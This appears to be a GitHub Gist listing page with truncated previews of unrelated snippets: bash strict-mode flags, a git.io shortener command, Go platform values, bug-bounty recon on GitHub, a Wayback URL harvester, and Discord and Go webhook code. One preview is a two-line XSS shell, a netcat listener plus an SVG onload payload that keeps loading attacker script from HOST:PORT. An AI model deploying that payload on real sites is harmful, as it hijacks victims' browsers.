mohanpedala

Table of Contents

• set -e, -u, -x, -o pipefail
• set -e
• set -x
• set -u
• set -o pipefail
• Setting IFS
• Original Reference

set -e, -u, -x, -o pipefail

dikiaap

Update: As of 11 January 2022, git.io no longer accepts new URLs.

Command:

curl https://git.io/ -i -F "url=https://github.com/YOUR_GITHUB_URL" -F "code=YOUR_CUSTOM_NAME"

URLs that can be created is from:

• https://github.com/*
• https://*.github.com

asukakenji

Go (Golang) GOOS and GOARCH

All of the following information is based on go version go1.17.1 darwin/amd64.

GOOS Values

GOOS	Out of the Box
aix	✅
android	✅

EdOverflow

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

jhaddix

.
..
........
@
*
*.*
*.*.*
🐎

mhmdiaa

import requests
import sys
import json


def waybackurls(host, with_subs):
    if with_subs:
        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
    else:
        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host

ivanvza

Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>

jim3ma

package main

import (
	"bufio"
	"fmt"
	"net"
	"net/http"
	"net/url"
	"crypto/tls"

ianklatzco

#!/bin/bash

# update the TOKEN and the CHANNELID, rest is optional
# you may need to connect with a websocket the first time you run the bot
#   use a library like discord.py to do so

curl -v \
-H "Authorization: Bot TOKEN" \
-H "User-Agent: myBotThing (http://some.url, v0.1)" \
-H "Content-Type: application/json" \

groob

/*
HookHandler - listen for github webhooks, sending updates on channel. 
DeploymentMonitor select update type based on channel and call deployment script
*/
package main

import (
	"fmt"
	"html/template"
	"io/ioutil"